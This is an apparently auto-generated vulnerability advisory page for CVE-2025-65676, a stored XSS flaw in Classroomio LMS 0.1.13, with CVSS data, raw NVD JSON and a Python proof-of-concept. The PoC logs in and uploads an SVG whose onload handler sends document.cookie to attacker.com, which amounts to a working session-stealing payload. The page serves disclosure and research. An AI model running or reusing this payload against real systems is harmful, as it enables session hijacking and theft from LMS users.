Security Vulnerability Report
中文
CVE-2025-65676 CVSS 5.4 MEDIUM

CVE-2025-65676

Published: 2025-11-26 19:15:48
Last Modified: 2025-12-03 20:50:47

Description

Stored Cross site scripting (XSS) vulnerability in Classroomio LMS 0.1.13 allows authenticated attackers to execute arbitrary code via crafted SVG cover images.

CVSS Details

CVSS Score
5.4
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N

Configurations (Affected Products)

cpe:2.3:a:classroomio:classroomio:0.1.13:*:*:*:*:*:*:* - VULNERABLE
Classroomio LMS < 0.1.13
Classroomio LMS 0.1.13(确认受影响)

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests import base64 # CVE-2025-65676 PoC - Stored XSS via SVG cover image in Classroomio LMS # Target: Classroomio LMS <= 0.1.13 # Attack Type: Stored Cross-Site Scripting (XSS) TARGET_URL = "http://target.com" # Replace with actual target URL LOGIN_URL = f"{TARGET_URL}/api/auth/login" UPLOAD_URL = f"{TARGET_URL}/api/courses/upload-cover" # Malicious SVG payload with XSS XSS_PAYLOAD = '''<svg xmlns="http://www.w3.org/2000/svg" onload="fetch('https://attacker.com/steal?c='+document.cookie)"> <script>console.log('XSS Triggered')</script> </svg>''' def login(username, password): """Authenticate and get session cookie""" session = requests.Session() response = session.post(LOGIN_URL, json={ "email": username, "password": password }) if response.status_code == 200: return session return None def exploit(session): """Upload malicious SVG as course cover image""" files = { 'file': ('course_cover.svg', XSS_PAYLOAD.encode(), 'image/svg+xml') } response = session.post(UPLOAD_URL, files=files) return response if __name__ == "__main__": # Step 1: Login with low-privilege account session = login("[email protected]", "password123") if session: # Step 2: Upload malicious SVG file result = exploit(session) print(f"Upload Status: {result.status_code}") print("Malicious SVG uploaded. XSS will trigger when users view the course.")

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-65676", "sourceIdentifier": "[email protected]", "published": "2025-11-26T19:15:48.473", "lastModified": "2025-12-03T20:50:46.807", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Stored Cross site scripting (XSS) vulnerability in Classroomio LMS 0.1.13 allows authenticated attackers to execute arbitrary code via crafted SVG cover images."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N", "baseScore": 5.4, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.3, "impactScore": 2.7}, {"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N", "baseScore": 5.4, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.3, "impactScore": 2.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-79"}]}, {"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-79"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:classroomio:classroomio:0.1.13:*:*:*:*:*:*:*", "matchCriteriaId": "7C6D9D0E-58A9-4468-90E2-3717E4632BF0"}]}]}], "references": [{"url": "http://classroomio.com", "source": "[email protected]", "tags": ["Product"]}, {"url": "https://github.com/Rivek619/CVE-2025-65676", "source": "[email protected]", "tags": ["Exploit", "Third Party Advisory"]}, {"url": "https://github.com/classroomio/classroomio", "source": "[email protected]", "tags": ["Product"]}, {"url": "https://github.com/Rivek619/CVE-2025-65676", "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "tags": ["Exploit", "Third Party Advisory"]}]}}